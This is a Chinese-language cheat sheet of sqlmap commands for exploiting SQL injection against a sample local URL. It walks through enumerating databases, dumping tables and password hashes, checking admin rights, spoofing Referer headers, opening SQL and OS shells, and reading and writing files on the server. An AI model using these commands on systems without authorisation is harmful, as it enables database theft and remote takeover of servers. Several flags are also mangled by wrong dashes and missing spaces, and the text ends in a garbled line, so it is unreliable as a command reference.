sqlmap使用语法大全

                       SQLMAP使用方法

1.判断是否存在注入点

目标网站：http://192.168.1.104/?id=1

命令：Python sqlmap.py -u http://192.168.1.104/?id=1

当注入点后面参数大于等于2个时，需要加双引号

命令：python sqlmap.py -u “http://192.168.1.104/?id=1&uid=2”

不设置参数进行判断

从文本中加载HTTP请求，将一个HTTP请求保存在文本中（GET ,POST）

命令：python sqlmap.py -r 地址/xx.txt

2.查询用户下所有的数据库

目标网站：http://192.168.1.104/?id=1

命令：Python sqlmap.py -u http://192.168.1.104/?id=1 –-dbs

3.查询数据库中的表名

目标网站：http://192.168.1.104/?id=1

命令：Python sqlmap.py -u http://192.168.1.104/?id=1 -D xx –tables

4.查询数据库中表的字段名

目标网站：http://192.168.1.104/?id=1

命令：Python sqlmap.py -u http://192.168.1.104/?id=1 -D xx –T xx–columns

5.查询字段的内容

目标网站：http://192.168.1.104/?id=1

命令：Python sqlmap.py -u http://192.168.1.104/?id=1 -D xx –T xx –Cxx –dump

6.获取数据库中所有用户

目标网站：http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –users

7.获取数据库中用户密码

目标网站：http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –passwords

8.获取当前网络数据库名称

目标网站：http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –-current –db

9.获取数据库用户名称

目标网站：http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –-current –user

10.探测等级（level(1-5)）

通常一般探测等级为1,最高为5，sqlmap使用的payload可以自动破解出cookie,XFF等头部注入，一般使用level 3

命令: Python sqlmap.py -u http://192.168.1.104/?id=1 –dbs –level 3

11.查询用户是否为管理权限

如果有会返回true

Python sqlmap.py -u http://192.168.1.104/?id=1 –is-dba

12.—referer

当Sqlmap的level为3时，可以在请求头伪造http中的referer，尝试对referer注入，可以适应referer命令来欺骗

--referer http://www.baidu.com

13.—sql-shell

该命令用于执行指定的SQL语句

Python sqlmap.py -u http://192.168.1.104/?id=1 –sql-shell

14.—os-cmd, --os-shell

该命令用于运行任意操作系统命令

Python sqlmap.py -u http://192.168.1.104/?id=1 –-os-cmd

Python sqlmap.py -u http://192.168.1.104/?id=1 –os-shell

15.—file-read

从数据库中读取文件

Python sqlmap.py -u http://192.168.1.104/?id=1 –file-read

16—file-write—file-dest

上传文件到数据库服务器中

Python sqlmap.py -u http://192.168.1.104/?id=1 –file-write—file-dest

! {/ _( R1 d" m" S" m2 F